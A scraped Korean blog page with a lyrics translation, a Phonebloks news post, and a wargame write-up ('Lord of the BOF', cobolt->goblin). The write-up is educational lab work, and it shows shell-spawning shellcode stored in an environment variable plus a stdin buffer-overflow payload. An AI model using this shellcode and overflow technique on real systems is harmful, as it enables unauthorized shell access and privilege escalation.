하지만 시간이 흐르면 알게 되겠지

You're standing too close to a flame that's burning,
너는 타오르고 있는 불꽃에 너무 가까이 서있어,
Hotter than the sun in the middle of July.
7월중순의 해보다 뜨거운,
Sending out your army but you still can't win,
너의 군대를 내보내도 아직 넌 이길 수 없어
Listen up silly boy cuz I'm gonna tell you why.
내가 말해줄테니 잘 들어봐, 멍청한 녀석아

I burn.
난 타올라.

Can't hold me now
더이상 나를 멈출 순 없어
You got nothing that can stop me.
너는 날 멈추게 할수 있는 것을 아무것도 가지고 있지 않아

I burn.
난 타올라

Swing all you want.
니가 웒는만큼 휘둘러봐,
Like a fever I will take you down.
나는 너를 열병처럼 쓰러트릴 테니까


가사출처- http://rwby.wikia.com/wiki/RWBY_Soundtrack

Animation by RoosterTeeth

Directed by Monty Oum

번역- 토끼



--------------------------------------------------------

Your works will never be forgotten- it's

still inspiring lots of people. Still can't

believe you're gone but hopefully you

are having a good time.


Rest in peace, Monty Oum.

Feb 1, 2015

--------------------------------------------------------


반응형
반응형


그저 아이디어였던 폰블락이 구글에 인수된 모토롤라에 의해 실현가능해졌습니다.

개발중이라네요. 부품 아이디어도 왠만하면 있는 것 같고. 실현될 날도 얼마 멀지 않았네요.

폰블락에서 모토롤라의 지향이 자기네들과 비슷해 협력하면서도 독립적인 프로젝트를 진행하겠다고 밝혔습니다.

기대되네요.

http://phonebloks.com

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

xcz.kr 풀이를 다 옮겨왔다!  (0) 2013.11.28
추억의 예능프로그램들..  (0) 2013.11.27
Phonebloks- A phone worth keeping  (0) 2013.09.16
크래커와 해커의 차이  (0) 2013.09.15
블로그란 무엇인가  (0) 2013.08.19
반응형

/* 1. bash2를 사용해 \xff도 인식되도록 합니다*/

[cobolt@localhost cobolt]$ bash2


/*2. 환경변수를 생성합니다.*/

[cobolt@localhost cobolt]$ export COBOLT=$(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')

[cobolt@localhost cobolt]$ env //잘들어갔나 확인

PWD=/home/cobolt

REMOTEHOST=192.168.0.1

HOSTNAME=localhost.localdomain

LESSOPEN=|/usr/bin/lesspipe.sh %s

USER=cobolt

LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:

MACHTYPE=i386-redhat-linux-gnu

MAIL=/var/spool/mail/cobolt

INPUTRC=/etc/inputrc

BASH_ENV=/home/cobolt/.bashrc

LANG=en_US

DISPLAY=192.168.0.1:0.0

LOGNAME=cobolt

SHLVL=2

USERNAME=

SHELL=/bin/bash

HOSTTYPE=i386

HISTSIZE=1000

OSTYPE=linux-gnu

TERM=xterm

HOME=/home/cobolt

PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/cobolt/bin

COBOLT=j

        X?Rh//shh/bin??S?訴€  //굿

_=/usr/bin/env


/* 3. 환경변수의 주소를 찾습니다 */

[cobolt@localhost cobolt]$ vi getenv.c

[cobolt@localhost cobolt]$ cat getenv.c

#include <stdio.h>

int main(int argc, char *argv[]){

printf("%p\n",getenv(argv[1]));

return 0;

}

[cobolt@localhost cobolt]$ gcc getenv.c -o getenv

[cobolt@localhost cobolt]$ ./getenv COBOLT

0xbfffffd0  //주소

[cobolt@localhost cobolt]$ (perl -e 'print "\x90"x20, "\xd0\xff\xff\xbf"';cat)|./goblin 

/*stdin을 공격할 수 있게 만드는(?) 코드를 추가시킵니다.*/

my-pass

?????????????????????퓅y-pass

my-pass

euid = 503


처음에는 그냥 전 단계같이 환경변수만 넣었더니 안되더라구요. 그래서 구글링하다가 stdin을 공격하는 코드중 cat가 있어 넣어봤습니다. 그래도 안되서 아는형께 물어보니 파이프를 사용해 넣는거라서 앞의 $표시는 필요없다고 해요. 


이번에 배운것:

-cat를 사용할땐 앞에 달러표시를 지운다

-달러표시는 커맨드라인으로 넘겨줄때, 파이프는 괄호만

-환경변수의 주소를 알아낼때, 환경변수가 프로그램에 밀리므로 나오는 주소가 프로그램명에 따라 다르다

-xshell♥


노트쓴건 없네요.. 딱히..


반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
gremlin->cobolt  (0) 2013.10.30
gate->gremlin  (0) 2013.10.27

+ Recent posts